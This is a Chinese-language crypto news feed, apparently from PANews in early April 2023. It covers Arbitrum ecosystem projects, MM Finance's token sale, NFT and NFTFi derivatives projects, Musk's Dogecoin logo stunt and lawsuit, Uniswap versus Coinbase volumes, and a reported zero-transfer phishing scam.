作为储备货币，在平台上推出游戏。Treasure DAO 旨在解决 GameFi 游戏的代币经济学问题，通过让多个游戏插入 $MAGIC 作为基础货币，为代币提供更多的实用性。 Radiant 和 Camelot 则是诞生于 Arbitrum 上的原生 Lending 和 DEX 模块，分别对标 AAVE 和 Uniswap，而它们的不同点在：Radiant 希望通过更好的「跨链兼容」来允许更方便的借贷，而 Camelot 则通过对 IEO 模块的投入，帮助更多新项目走向曝光。 Arbitrum 充分利用了以太坊的安全性和兼容性，同时也具有更高的吞吐量和较低的交易费用，这得益于将大部分计算和存储负载转移出去。以上四个项目都是 Arbitrum 生态系统中的代表性项目。 以太坊的非托管 Staking 平台 Ebunker 创始人 Allen 评价 Arbitrum 说：「Arbitrum 提供了和以太坊同级别的安全性，又提供了和其他竞争 L1 相媲美的性能，其实是变相突破了不可能三角。这必定会带来大量当年因以太坊 L1 性能不足，而外溢到其他 L1 的项目的大回流。」 值得一提的是，Arbitrum 的 TVL 仍然在不断提升。Arb 上的 DeFi 项目，都有可能成为未来 DeFi 的新黄金标准，让我们拭目以待 Arbitrum 未来生态的发展。  ( 3 min )
    SPACE ID宣布推出2.0版本，包含礼品卡等四大功能
    PANews 4月4日消息， Web3身份平台SPACE ID宣布推出2.0版本，Beta版已成过去。SPACE ID 2.0包含Referral Program、SPACE ID礼品卡、推荐计划（Referral Program）、SPACE ID Voyage Program四大功能。BNB Chain 和 Arbitrum现已支持SPACE ID礼品卡。兑换的积分可用于抵消.bnb或.arb域名注册和延期期间的费用。此外，SPACE ID 2.0市场费用调整为1.5%。  ( 1 min )
    法庭文件：Voyager和Binance.US的法律争议需在4月13日之前解决
    PANews 4月4日消息， 据CoinDesk报道，根据周一提交的法律文件，如果美国政府提出的法律异议未能在4月13日之前得到解决，Voyager公司及其债权人将损失1亿美元。 这家破产的加密货币贷款机构正在采取紧急法律行动，让Binance.US以10亿美元的价格将其收购，该公司担心围绕此次收购的持续争论可能导致该交易所退出。Voyager债权人在一份文件中称：在4月13日之前完成该计划对于维护巨大的债权人价值是必要的，如果交易未能完成，Voyager的债权人将损失大约1亿美元的价值。  ( 1 min )
    数据：某匿名零转账骗局攻击者从一笔交易中窃取约85万USDT
    PANews 4月4日消息， 据派盾（PeckShield）监测显示，某匿名零转账骗局攻击者从一笔交易中获利约85万USDT。钓鱼伪装地址为：0xEB40342d0F7A5a0AACEFBb9A32C9D2e22184683d，受害者原本的转账目的地地址为：0xEb40342d42967A70066EfDB498c69Fd8B184683D。  ( 1 min )
    MM Finance超募364倍，多链项目是否应该发行新的Token？
    Arbitrum空投带来的造富效应并未消退，4月3日，MM Finance在Arbitrum上线，公募预计融资50万USDC，实际参与的资金高达1.82亿USDC，超募364倍。MM Finance最初建立在Cronos上，是当时Cronos上除VVS Finance以外最大的项目，原生代币MMF也上线了Crypto.com交易所。之后，MM Finance部署到Polygon并发行了新的Token，此次也不例外，又在Arbitrum上又发行了Token并进行融资。 MM Finance的融资争议 MM Finance一个项目在多条链上发行Token的做法在社区中受到了一定的诟病。通常，主流DeFi项目向其它链上扩张时，并不会发行新的Token，如Uniswap、Aave、Pancakeswap等。 但对于小型项目，发行新的Token就像指环王中的魔戒一样，对项目的开发团队有着难以抵抗的吸引力。如果没有新的Token，以原来的估值计算市值已经极低，且大多数Token都已经分配出去，抛压极大，原来的工作反而成为项目继续扩张的负担。 如果将Arbitrum上的MM Finance当成一个新的项目，和其它项目相比，考虑到团队有1年以上可追溯的开发经历，仅在Cronos的MM Finance生态中，除了DEX之外，还有收益优化器MM Optimizer、稳定币项目Savanna Finance、去中心化ETF项目METF Finance，发行有多种Token。一年以前，MM Finance因为前端攻击，导致用户损失了少量资金，但后来官方进行了赔付。项目经过慢雾、Certik、Paladin在内的多家安全机构的审计。在安全性上，以上背景可能会让人更加放心。 MM Finance Arbitrum原生代币MMF最大供应量为5亿枚，初始流通1250万MMF，白名单和公募分别销售250万MMF，发行价格为0.2美元。对应FDV为1亿美元，流通市值250万美元。MM Finance在本次活动中总共融资100万美元，其中80%用于添加MMF/USDC交易对的流动性，项目方在本次代币销售中的利润为20万美元。 Arbitrum上项目的融资与估值可能不合理，但近期受到追捧已经成为常态，如指数产品Arbitrove，以7000万美元的估值在Camelot上融资1400万美元。截至4月4日，Arbitrove的主要产品——Arbitrum指数代币的发行量仅280 ALP，且最近两周链上没有一笔ALP的转移记录，但该项目治理代币TROVE的FDV仍然有3389万美元，流通市值1018万美元。 和Arbitrum上其它DEX相比，Arbidex TVL 7841万美元，FDV 8760万美元；Zyberswap TVL 4334万美元，FDV 5246万美元。ZYBER市值最高时约为4.5亿美元，考虑到现在MM Finance正式上线不到24小时，MMF目前价格0.32美元，TVL 5128万美元，在MMF/USDC交易对流动性挖矿的APR高达1600%的情况下，目前的FDV可能偏高，但和其它项目相比并不算离谱。 MM Finance在Arbitrum上发行新Token会受到热捧也是有迹可循的，在去年8月迁移到Polygon上发行新的Token并进行融资时，同样超募上百倍。在本次宣布迁移到Arbitrum后的48小时内，MM Finance就收到了超过1100份白名单申请。 类似的解决方案：代币增发 几乎所有的项目在进行代币设计时，都会将释放集中在前面一段时间，最终在几年时间里完全释放。而当没有新的代币可以支撑项目运营的时候，除了发行另一种代币，一些项目也会进行增发。 如2020年7月，借贷龙头Aave在将原有的代币LEND转换为AAVE时，增发了23.08%；2021年初，Yearn通过治理决定在原有3万枚YFI的基础上，增发6666 YFI；2022年底，已经被Alameda收购的Ren Project团队也通过治理投票，决定铸造新的REN代币来支撑Ren 2.0的开发工作。 发行新的代币和代币增发本质上都是对原有的代币持有者权益的稀释，但也有利有弊，也可以帮助项目更好的进行扩张。 在此之前，MM Finance在Cronos上的TVL为1000万美元，在Polygon上的TVL为257万美元。通过发行新的Token，MM Finance Arbitrum在一天内TVL已经达到5128万美元，实现了数倍的扩张。 借用一张因为Arbitrum空投而在社区中广泛传播的图，在MM Finance的多链策略中，MM Finance团队通过发行新的Token进行激励，从而获得大量的流动性，实现在其它链上的冷启动；信任MM Finance的玩家参加白名单销售和公募，短期内获得参与份额数倍的利润；DeFi矿工有更多的挖矿机会。最终，可能只有在二级市场上购买代币的散户受到伤害。 加密投资中充满了机会，但对于部分人，结局可能是残酷的。大多数DeFi项目的长期表现并不理想，MMF（Cronos）和MMF（Polygon）的FDV已经分别跌至480万美元和379万美元，总量同样为5亿枚，而目前MMF（Arbitrum）的FDV为1.65亿美元。但这并不妨碍前面三种类型的参与者从中获利，识别项目的风险，寻找适合自己的机会可能更加重要。  ( 2 min )
    24小时地板价涨达23%，马斯克喊单的The Memes by 6529是什么？
    原文：《马斯克喊单的The Memes by 6529是什么？》 作者：十文 Elon Mask 今晨发布 NFT 项目 The Memes by 6529 相关图片，使其地板价 24 小时涨幅达 23% ，交易量和交易次数也都有大幅增长，分别涨幅达 2045% 和 1000% 。查看 Opesea 上的 The Memes by 6529 系列，我们发现与其他统一画风的 NFT 项目不同，The Memes by 6529 是由不同表情包图片构成的，第一眼看上去有点杂乱无章。 但就是这个看上去有点“山寨”的项目，在马斯克喊单之前就已经小有人气。从 Opensea 上看，The Memes by 6529 的销量从去年 11 月开始回升，并在今年 1 月中旬达到高峰。彼时，The Memes by 6529 也一直占据着 Opensea 热门收藏排行榜前 5 名的位置。看到这里，我相信，很多 NFT 爱好者都有一个疑问，它到底想表达什么？为什么看似是表情包大杂烩的项目会受到如此多的关注？接下来，我们就来了解一下。 Punk6529 是谁？ The Memes 是由Punk6529 创建的。Punk6529长期以第 6529 号 CryptoPunks 作为头像，并在业内被称为NFT“思想家”，是 NFT 领域的知名 KOL。他于 2021 通过发表多个有深度的 NFT 帖子被大家熟知。去年 4 月，Punk6529 在推特发布了 80 多条推文，介绍了自己正在牵头构建的全新项目 Open Metaverse，包括 Open Metaverse 的设计初衷、发展理念、现状及愿景等，正式的从 NFT 收藏家转变为建设者。Open Metaverse 旨在创建一个完全去中心化的、社区驱动的元宇宙。The Memes 是该项目的一部分。 The Memes 于 2022 年 6 月 9 日推出，其想表达的是，赞成将去中心化的信息封装成醒目的或可病毒式传播的图像，他们认为通过精心设计的 Memes 比任何推文都更具有影响力。目的就是传播与数字自由相关的 Memes 思想，以及 NFT 文化中最积极的一面。此外，该项目鼓励使用其图像创作衍生作品（简称 ReMemes），作品全部为 CC0。 该系列最初是由 6529 和 6529er（创建 6529 标志的多学科设计师）制作的几个简单版本，后来，不同的艺术家为该项目做出了贡献，从摄影师到插画家再到 3D 艺术家，比如 XCOPY 和 Grant Riven Yun。 该系列包含两个 SZN（季节），Genesis SZN1 是在 2022 年发布的。SZN1 中有 8 个 Memes 主题，每个主题下面含有 2 - 11 张卡片，每张卡片含有不同数量的 NFT。SZN1 的 8 个 Memes 主题分别是： Meme 1: Seize the Memes Of Production Meme 1 包含该系列中最有价值的 Meme，前三张卡片（6529 Seizing、SeizeJPGs 和 Uncle Seize）是该系列的创世纪卡片，所有这些卡片均由 6529er 创建，该系列包括 7 张卡片。 Meme 2: WAGMI 该系列想表达的意思是我们都会成功的，Meme 2 包括 4 张卡片。 Meme 3: Don’t Let The Institutions Steal Your JPEGs 该系列想表达的意思是我们拥有使用我们的 JPEG 图片的权利。Meme 3 包含 2 张卡片。 Meme 4: GM Meme 4 展示了每个艺术家如何表达 GM。它包括 10 张卡片，都是由不同的艺术家创作的。 Meme 5: Use A Hardware Wallet Meme 5 中的每个艺术家都用了他们自己的艺术方式来表达使用硬件钱包的重要性，它包括 6 张卡片。 Meme 6: Open Metaverse / OM Meme 6 契合开放元宇宙概念，共有 11 张卡片。 Meme 7: Freedom To Transact Meme 7 所传达的信息是自由，共有 2 张卡片。 Meme 8: Freestyle Meme 8 没有特定的主题，主打随性，包含 4 张卡片。 The Memes 系列的所有 NFT 都是 ERC-1155 版本，并在独立的 Manifold 合约上铸造的，数据保存在 Arweave 上。 目前，SZN2 正在进行中，The Memes 预计将在 2023 年运行 4 个 SZN，时间表可以从这里查看。已知的是它将有 3 个新模因：Survive，Not Your Keys、Not Your Coins 和 Digital Rights Characters。 如果对该系列 NFT 感兴趣的可以关注官方铸造网站，每个 NFT 的铸造成本是 0.06529 ETH。但是官方会不定期的开展空投活动，每一季的空投数量不同。  ( 3 min )
    Arbitrum社区发布“将诈骗者列入黑名单并向受害者退款”的新提案
    PANews 4月4日消息，Layer 2网络Arbitrum社区发布了一箱新提案，提议将将诈骗者列入黑名单并将其资金退还给无法领取ARB空投的受害者。为实施该提案，DAO将需要分配资源用于开发报告和黑名单流程，并制定确定退款资格的指南。DAO还需要与其他去中心化金融平台和中心化交易所合作，共享黑名单，防止骗子套现。该提案将需要持续监测和评估，以确保其有效性。  ( 1 min )
    zkSync：部分用户存款失败，将在24小时内部署修复程序
    PANews 4月4日消息，zkSync在其官方Discord社区表示，注意到部分用户在zkSync Era网络出现存款失败问题，有部分用户可能会失去他们的gas费，团队正在努力修复，预计将在未来24小时内部署修复程序。  ( 1 min )
    Uniswap 3月交易量大超Coinbase，我们能获得哪些启示？
    编译：Cindy，SophonLabs 近期去中心化交易所Uniswap的现货市场交易量一度高于知名中心化交易所Coinbase。Uniswap无需中间商或交易费用，而是通过智能合约自动完成交易，使得交易更加便捷。Coinbase则是一个中心化的加密货币交易所，提供交易、存储和管理加密货币的服务，以及与传统金融机构的合作和监管合规等方面的优势。Uniswap和Coinbase应该被视为加密货币生态系统中的不同组成部分，共同促进着加密货币的发展和普及。 据The Block Research发布的数据显示，在2023年3月份，去中心化交易所Uniswap的现货市场交易量高达716亿美元，这一数字比同期的中心化交易所Coinbase494亿高出了整整45%。Coinbase3月份交易量虽然比2月份的400亿美元有所增长，但其交易量已经连续两个月低于Uniswap，这反映出去中心化交易所在加密货币市场上的不断增长和影响力的不断扩大。未来Uniswap是否会延续高交易量的优势？让我们先盘点下去中心化和中心化交易所的发展史。 去中心化交易所（Decentralized Exchange，DEX）是一种基于区块链技术的交易平台，与传统的中心化交易所不同，它不依赖于单一的中央服务器或管理机构，而是由智能合约来执行交易和管理资金。在去中心化交易所上，用户可以直接与其他用户进行交易，而无需通过中介机构或交易所进行交易。去中心化交易所通常更加安全、透明和去信任化，因为它们不需要用户将资金存储在交易所的账户中，而是通过智能合约将资金存储在区块链上，从而减少了中心化交易所可能存在的安全风险。 Uniswap发展史 Uniswap是加密货币领域中最大的去中心化交易所之一。它运行在以太坊上，采用自动做市商协议（AMM）来实现ERC-20代币的兑换，而非传统的现货市场订单。该协议是由工程师海登·亚当斯（Hayden Adams）于2018年底发起，灵感来源于以太坊联合创始人Vitalik Buterin的一篇帖子。截至2023年4月，Uniswap已更新至v3版本，最新版本于2021年5月发布。 Uniswap通过鼓励流动性提供者投入加密货币并创建流动性池来维持平台运营。交易者可以使用这些流动性池来进行交易，而无需在现货市场上寻找匹配的买家或卖家。这种交易方式不仅更快速，而且更具流动性。Uniswap的独特之处在于，它无需中间商或交易费用，而是通过智能合约自动完成交易，使得交易更加便捷。 Coinbase是一家成立于2012年的加密货币交易所，总部位于美国旧金山。它曾经只支持比特币的交易和存储，但随着时间的推移，逐渐发展成为全球最大的加密货币交易所之一。Coinbase在其发展历程中推出了多个产品和服务，包括比特币支付系统、交易平台Coinbase Pro和加密货币支付的电子商务平台Coinbase Commerce等。Coinbase于2021年在纳斯达克上市，成为首个上市的加密货币交易所，并计划在未来几个月内支持更多加密货币的交易。 Coinbase并没有经历过像Mt.Gox这样的大规模安全漏洞或黑客攻击，但它也曾面临一些危机和挑战。 在2019年，Coinbase Pro交易平台发生了一次价格闪崩事件，导致比特币价格在该平台上暴跌30%。Coinbase后来表示，这是由于一名交易者在该平台上下了一个异常大的卖单，导致市场价格下跌。然而，一些交易者质疑Coinbase是否有足够的市场监测和风险管理措施来避免这种事件的发生。 此外，Coinbase也曾面临监管挑战。在2018年，美国证券交易委员会（SEC）对Coinbase展开调查，要求其提供有关其交易平台上数字资产的信息。Coinbase后来表示，他们与SEC合作，并在其交易平台上采取了一些措施以遵守相关法规。 虽然Coinbase面临着一些挑战和危机，但它一直致力于提供安全、可靠和合规的加密货币交易服务，并且在加密货币行业中心化交易所领域保持着领先地位。 去中心化交易所由于智能合约作为底层，遵循代码即法律的原则，没有人为操纵的可能，整个交易流程更加市场化程序化。且加密货币一直由散户自己控制，加密财产自我保存，更加安全。而中心化交易所背后由组织来控制，数据等存在造假的可能，散户在信息上处于劣势，会造成不平等交易出现损失的情况。而且散户置于中心化交易所的代币都不是自己控制，私钥存在于交易所中由交易所控制。以前还存在过中心化交易所转移用户代币的情况。 对于熟悉区块链底层逻辑的用户，Uniswap是更好的更安全的选择。在高度互联网的情况下，用户自学使用去中心化交易所并不是难事，这也是为什么Uniswap的交易量日益攀升。但随着中心化交易所在监管下日益成熟，散户的资产安全可以得到保证，交易所造假情况得到改善，可能也会吸引更多的散户交易。 虽然Uniswap和Coinbase都是加密货币交易所，但它们的商业模式和定位有所不同，不存在直接的竞争关系。Uniswap是一个去中心化的加密货币交易协议，通过智能合约和流动性池来实现加密货币的兑换和交易，无需中间商或交易费用。而Coinbase则是一个中心化的加密货币交易所，提供交易、存储和管理加密货币的服务，以及与传统金融机构的合作和监管合规等方面的优势。 虽然Uniswap和Coinbase的商业模式不同，但它们在加密货币领域都发挥着重要作用，并且都在不断发展和创新。Uniswap的出现推动了去中心化交易所的发展和普及，而Coinbase则在加密货币市场的合规和监管方面发挥了重要作用。因此，Uniswap和Coinbase应该被视为加密货币生态系统中的不同组成部分，共同促进着加密货币的发展和普及。  ( 1 min )
    推特“蓝鸟”变“狗头”，马斯克多次“任性喊单”面临2580亿美元集体诉讼
    特斯拉CEO埃隆·马斯克再次“带货”狗狗币。4月4日，任性的马斯克突然将推特广为人知的蓝鸟标志变更为狗狗币表情头像，引发市场热议。受此影响，狗狗币日内涨幅最高超42%，总市值已超过130亿美元。 随后，马斯克还在推特发布含有狗狗币的图片，“一名警察在检查上面有蓝鸟标志的证件，但狗狗币头像却表示‘那已经是旧照了’。”目前，马斯克是否永久将推特Logo进行更改还尚未可知。同时，马斯克还在推特上发布了一张来自Punk 6259推出的Meme Card系列中的“SeizeJPGs” NFT，此举将该作品价格从几天前的0.5 ETH最高飙升到超过2.7 ETH。 作为狗狗币教父，马斯克一直不遗余力地为狗狗币代言。虽然狗狗币诞生于一个玩笑，只是创建者用自带魔性的Doge狗头表情包来讽刺圈内投机氛围的“空气币”，但其衍生出来的Meme文化却使之备受市场追捧。从2019年开始，马斯克就在公开场合毫不吝啬地表达对狗狗币的喜欢，甚至曾将自己的推特个人账户信息修改为“狗狗币CEO”。 不仅如此，马斯克还将狗狗币和旗下公司业务相结合，比如特斯拉还将狗狗币作为部分商品的支付手段，包括推出了仅支持狗狗币购买的定制口哨Cyberwhistle等；The Boring Company允许客户使用狗狗币支付其拉斯维加斯交通系统的乘车费用、香水Burnt Hair支持使用狗狗币支付等；SpaceX公司将其中一颗发射的卫星命名为“DOGE-1”；马斯克还曾以开玩笑口吻表示狗狗币应该是推特订阅的一种可接受的付款方式。此外，马斯克个人和特斯拉均持有狗狗币。 而在2022年3月，马斯克曾在推特上提问称，“是否需要一个新平台？”有网友评论称，买下推特并把蓝鸟标志换狗头。对此，马斯克回复称：“哈哈，那太恶心了”。时隔一年，马斯克“兑现了承诺”，不仅成功收购了推特，还将推特蓝鸟标志换成狗狗表情包。 马斯克效应下，不仅让全球越来越多的投资者开始关注狗狗币，且其价格也随之大幅波动，但这种代言行为也为他本人带来了麻烦。 2022年6月，一名美国狗狗币投资者在纽约曼哈顿联邦法院对马斯克及特斯拉和SpaceX提出诉讼，索取高达2580亿美元的赔偿。该起诉者声称，马斯克和他旗下公司特斯拉及SpaceX实施了一场“金字塔骗局”，他利用自己世界首富的地位运作和操纵狗狗币金字塔式骗局，在两年内故意将狗狗币的价格推高了360倍以上后让价格崩盘，以获取利润、曝光度并获得乐趣。同时，该诉讼还要求禁止马斯克及旗下多家公司进一步推广狗狗币。 对此，马斯克及特斯拉律师称，狗狗币投资者对马斯克“无伤大雅且经常是愚蠢的推文”提起的诉讼是一部“幻想小说”。投资者从未解释马斯克如何进行欺诈，或者他隐瞒了什么风险。马斯克的“狗狗币Rulz”和“没有高点，没有低点，只有DOGE”等发言过于模糊，无法支撑欺诈指控。在推特上发布关于一种合法加密货币的支持言论或有趣的图片，这并不违法。同时，在向曼哈顿联邦法院提交的一份文件的脚注中，马斯克的律师还驳回了投资者关于狗狗币符合证券资格的说法。根据最新诉讼进展，马斯克已要求美国法官驳回狗狗币投资者对其提起的2580亿美元集体诉讼，并让原告停止幻想。 鉴于马斯克的号召力，其一言一行往往会引发相关市场价格波动，特别是狗狗币等容易大起大落的金融产品，投资者应对其“喊单行为”谨慎判断。  ( 1 min )
    NFTFi衍生品赛道早期探索：下一个“Blur”在哪里？
    原文：《早期探索：NFTFI 衍生品赛道及项目盘点 nftperp、tribe3、putty 等》 作者：Maverick 注：本文撰写于2月14日，一些数据可能出现延迟 过去一个月，NFT 市场交易量久违地出现反弹，NFTFI 也重新活跃起来，具有真实收益的 NFT 交易市场和借贷平台的 Token 迎来了大幅上涨。不过未来很有可能又会有新的模仿者以 Blur 的方式瓜分 NFT 交易市场的交易份额，那么市场又会面临内卷持续加剧的状态。 NFT 交易市场的主要贡献来自于蓝筹 NFT 挂单交易即现货，对于蓝筹 NFT 交易流动性的争夺是 NFT 交易市场内卷的重要对象之一。但是蓝筹 NFT 单价较高，普通散户往往很难像大户或巨鲸那样以复杂性和技巧性的交易策略去参与。因而根据 CEX 期货交易量远高于现货交易量的经验，NFTFI 有意识地往衍生品方向去发展，以帮助散户通过杠杆化手段参与蓝筹 NFT 交易，贡献更多的交易量。 本文将聚焦于 NFTFI 衍生品项目，帮助用户更早地识别衍生品赛道机会。 注：NFTFI 衍生品赛道尚处于早期，存在相当多的不确定性。本文仅作为信息分享，不对所述项目做任何背书，无任何利害关系。 nftperp nftperp 是建立在 Arbitrum 上的 NFT 永续合约去中心化交易所，是目前成熟度和关注度最高的 NFT 期货交易所。用户可以使用 ETH 作为币本位并使用杠杆（杠杆上限为 10 倍）进行做多或做空交易。当前 nftperp 处于私人测试中，开放了 Azuki、BAYC、MAYC、Milady、CryptoPunks 五种 NFT 的期货交易。nftperp 使用独创的 vAMM（虚拟自动做市商）机制保持 NFT 期货交易流动性，以及在地板价的基础上使用了 NFT 价格评估协议 Upshot 集成的 Chainlink 预言机数据进一步保证了地板价的真实性与及时性。该平台采用 Keeper bots 清算机制，在清算时平台将会赚取名义头寸规模的 1.25%。除了为用户提供的交易基础功能，nftperp 还提供了类似于 FT 交易的 K 线图表、聊天室等功能辅助用户交易。 Mimicry Mimicry Protocol 是构建在 Polygon 上的 NFT 期货市场，利用 Chainlink 预言机进行价格更新。目前 Mimicry 仍属于测试状态，用户可以使用 USDC 或 LINK 作为标的物对 World of Women 进行做多或做空交易，但暂不能添加杠杆。未来除了 USDC 和 LINK 外，还可能拓展至使用 WETH、BNB、MATIC、APE、USDT、DAI 等开仓。 Tribe3 Tribe3 自称为第一个游戏化 NFT 期货交易所，构建于 Ethereum，在当前测试网阶段中支持 Azuki、BAYC、CryptoPunks、Meebits、Doodles、Clone X、Moonbirds 六种交易标的。用户存入 ETH 即可以开始交易，最大使用杠杆为五倍。当用户头寸抵押率低于 10% 时，则会被清算。用户在交易时相当于与其他交易用户进行 NFT 部落战，并可以在竞争种获得点数和物品奖励，以创建个性化的 NFT 头像。当前 Tribe3 正在测试网中举行交易大赛。 NFEX NFEX 是一个构建在 Ethereum 上的 NFT 衍生品协议，允许用户以最大 10 倍杠杆做多或做空 NFT 地板价。目前 NFEX 处于邀请制测试阶段，支持 BAYC、MAYC、Azuki、CryptoPunks 和 Clone X 五种 NFT 的期货交易，维持保证金均为 2%，其交易价格来自于其独特的 NFEXP 指数——来自 Blur、OpenSea、LooksRare 和 X2Y2 的地板价根据相应比例进行加权平均值计算 。NFEX 收取 0.25% 的交易费用，并正通过向做市商偿还 0.05% 费用的激励手段来加强交易活动已获得更优的深度。 Putty Putty 是构建在 Ethereum 上点对点的 NFT（ERC 721）和 Token（ETH 或 ERC 20）期权市场，用户可以为单一资产（某一个 NFT 系列的地板价或某一个 NFT 系列中的某个单品）或一篮子资产的看跌和看涨期权创建买入或卖出限价指令。用户的头寸本身即是一种 NFT：OPUT，因此它可以被用于在用户钱包间的转移。用户可以使用 WETH、DAI、wsETH 三种资产创建期权限价订单。目前支持的 NFT 除了诸如 BAYC、MAYC、Azuki 等蓝筹 NFT 外，还包括 Art Gobblers、The Saudis、Otherdeed、ENS 等共 18 种；Token 则包括 UNI、SHIB、WBTC、WETH、DAI 和套娃 NFTX 协议的 NFT 流动性 Token。Dune Analytics 数据显示，Putty 共完成了 22.1 万美元的期权交易量，目前市场上有 Azuki 89、SHIB 和 MILS 的期权限价订单。 Cally Cally 是建立在 Ethereum 和 Optimism 上，能为用户所持有的 NFT 或 ERC 20 Token 创建 Covered Call Vault 的协议。Covered Call=Long Stock + Sell OTM Call，即用户持有 NFT/ERC 20 Token 的同时，卖出相对应的看涨期权。用户可以为其持有的 NFT 或 xNFT Token（如应用在 NFT 流动性协议 NFTX 上的流动性 ERC20 Token）来创建 Covered Call Vault，目前主要包括 BAYC、MAYC、Doodles、Milady maker 和 Forgotten Runes Wizard's Cult 以及这些 NFT 在 NFTX 上创建的流动性 Token。用户可以选择 0.05-2.5 ETH 的周期收益率，7、14、30 和 90 天的周期持续时间以及拍卖起始价和底价。Call Vault 被创建完成后，看涨期权就会被列出并开始 24 小时荷兰式拍卖，行使价不断下降直到感兴趣的期权买家出现。通过 Cally，可以帮助一些长期看好某个收藏品，但认为该收藏品在短期内不会上涨的用户赚取期权溢价的利润。 Hook Protocol Hook 是构建在 Ethereum 上的 NFT 欧式看涨期权协议，采取混合现金和实物结算方式。目前提供 Lil Nouns、Otherdeeds、Chromie Squiggle、MAYC、Friendship Bracelets 等11种 NFT 期权交易，其中在过去 30 天 MAYC 期权市场已经完成了 40.864k ETH 名义交易量。Hook 通过在期权到期前一天开始拍卖相关的 NFT 资产来结算期权，若竞标者在结算拍卖中出价高于执行价格，NFT 就会被出售。期权卖方实则类似于实物结算，收到了执行价格；期权持有人则类似于现金结算，受到出价和执行价格之间的差额。此外，期权持有人只需要在结算期权中出价即可以完成 NFT 实物交割，并在期权关闭后收到高于执行价格的任何出价金额的退款。Hook 收取出售期权时 10% 的费用。目前 Hook 通过了 Sherlock 的审计，并投保了 500 万美元的保险。 Fetα Fetα 是构建在 Ethereum 上的零费用的 NFT 期权交易市场，用户可以在该平台上交易排名前 20 的蓝筹 NFT 期权。目前测试网阶段中提供了 Milady Paper 的看涨和看跌期权交易，此外该协议不针对某一个 NFT 系列地板价作交易，而是细分到某一个 NFT 系列中的某一个。用户可以使用官方建议的定价模型协助下进行期权定价。除了 Covered Call 外，期权卖方未来还可以通过出售 WETH 担保看跌期权赚取费用。此外，Fetα 已确认发布 FETA Token，作为 DAO 治理的一部分，对改进提案进行投票。 Nifty Options Nifty Options 自称是 Ethereum 上的第一个 NFT 期权协议，支持 BAYC、0N1 Force、Cool Cats 等 15 种 NFT 资产中的具体某一个 NFT 的期权创建，本质是一个卖出看跌期权的操作，需要用户自定义设置期权费金额、执行价格和到期日。同时用户也可以在市场上买入 NFT 持有者创建的看跌期权。 举一个例子，比如 A 以 75 ETH 购买了一个 BAYC，为了实现对冲，A 可以将 BAYC 存入 Nifty 并设置（卖出）期权费为 1 ETH、执行价格为 60 ETH 和 6 个月期限的看跌期权。市场上的所有用户比如 B 可以通过履行期权马上获得 1 ETH，前提是 B 要在 Nifty 中存入 60 ETH（执行价格）直到到期日。履行期权的用户 B 无论在任何情况都将保留 1 ETH 的奖励，作为锁定托管的 ETH 并可能可能失去它以获得 NFT 的奖励。在到期日前，如果期权创建者 A 取消期权，则 60 ETH 将会被返还给行权者 B；行使期权，则期权创建者 A 获得 60 ETH，行权者 B 获得 NFT。在到期日后，若期权创建者 A 没有任何的操作，则履行期权的用户 B 或市场上的其他用户都可以将该期权取消，NFT 返还给期权创建者 A，ETH 返还给行权者 B。 Wasabi Wasabi 是构建在 Ethereum 上的点对点的去中心化的 NFT Covered 期权协议，目前处于白名单制测试阶段中，计划在第一季度末上线。Wasabi 通过 ERC 721 标准铸造期权头寸，因此用户购买期权会收到代表其期权的 ERC 721 Token。在到期日前，用户可以将这些 ERC 721 Token 行权；即便过期了，用户也可以保留，但其将失去任何功能。用户还可以利用 Wasabi 期权创建 Wasabi pool，以此来创建杠杆多头或空头 ETF。此外，Wasabi 的结算系统是独立于 NFT 地板价，最终由期权持有人决定是否行权，而无需考虑地板价是多少。 Wasabi 在 1 月 5 日- 3 月 15 日之间举行测试网交易大赛，排名靠前者将有机会赢得 ETH 和 Wasabi NFT 及白名单奖励，而 Wasabi NFT 将是未来 Token 空投的重要权重。 Decalls Decalls 是构建于 Solana 上的第一个 NFT 期权交易平台，由 Solana P2P NFT 交易自动托管平台 Yawww 团队所构建。Decalls 将于 2 月 14 日在 Solana 主网正式上线，将来还会扩展至 Ethereum。该平台允许用户使用低至 0.1 SOL 便可参与 Solana 链上的蓝筹 NFT 期权交易。此外，Decalls 还将发行 15,000 个 Future Traders NFT，平台所有收入将分享给 Future Traders 持有者，其中团队将保留 Future Traders NFT 供应量的 10% 以作为业务成本支付。 不可否认的是，尽管 PFP、Marketplaces、借贷等领域有所发展，但 NFT 整体还处于非常早期的阶段，而 NFTFI 衍生品赛道更是处于早期中的早期，其中存在着相当大的不确定性。如何扩大用户增量和调控流动性仍然是 NFT 赛道的主要问题。若最终 CEX 期货交易的经验被认为可借鉴的话，NFT 衍生品将有可能以杠杆化地方式带动更规模化的用户主体，包括专业交易员和做市商，参与到蓝筹交易中来，并带动 NFT 交易策略的技巧性变革，那么这个领域将是价值洼地。  ( 5 min )
    Web3.0如何驱动AI和数据要素的发展?
    原文：《Web3.0驱动下的AIGC与数据要素：开放、安全与隐私》 作者：宋嘉吉 任鹤义 Chatgpt作为最火热的AI产品，其内容生产力是惊艳的，但站在更高层面看，未来Web3.0世界面临两个重要问题：一、数据要素市场的建立，如何解决数据确权和隐私保护？二、AIGC是生产力机器，数据是能源资源，该如何将工业机器和能源资源有效地进行配置？Web3.0为二者提供了高效运转的经济规则和治理规则，就像操作系统一样，为AI生产力、数据要素提供更开放的连接交互和最高效的市场配置。 数据隐私的真谛是确权和授权——即用代码合约明确数据的所有权，通过代码合约完成数据使用权的授权和支付交易。在数据领域，AI与区块链的结合，一方面是数据层，两者可以互相渗透，完全数据确权；另一方面是从应用层面入手，两者各司其职，AI负责自动化的业务处理和智能化的决策，区块链负责在数据层提供可信的授权。这样，数据作为重要的资源，AI作为生产力更有的放矢。 We3.0时代将为AI、数据要素提供一套开放的经济和治理系统。AI作为强大的生产力机器，产出能力无可厚非，但AI输出价值的背后需要一套经济系统和治理系统作为支撑。如果将AI比喻为工业机器，那么数据将是石油等基础资源，而光有工业机器和资源是无法运行的，将工业机器和资源整合的市场经济系统才是价值产出的灵魂；Web3.0就是这样的经济和治理系统，为AIGC（生产力工具）、数据要素、资产和治理提供了一套开放的“操作系统”，AIGC将在Web3.0世界如鱼得水。 1）在AI对数据资源的快速“消耗”背景下，如何在AI训练演化的整个流程周期中对数据完全确权、隐私保护和费用结算？这些离不开Web3.0时代各类数据隐私保护应用的加持。 2）如何将AI强大的生产力机器打造成有组织、有智慧的生态系统，还需要机器智慧之外的使得AI、数据要素这些重要资源实现更有效的“配置”。这就像是把AI的能力“云化”：一方面是AI生产力的获取分散化、去中心化，可以将多方的资源连接在一起；另一方面这种“云化”是将更多分散的AI工具、资源、知识在一个平台/市场上解决付费和经济生态的问题。 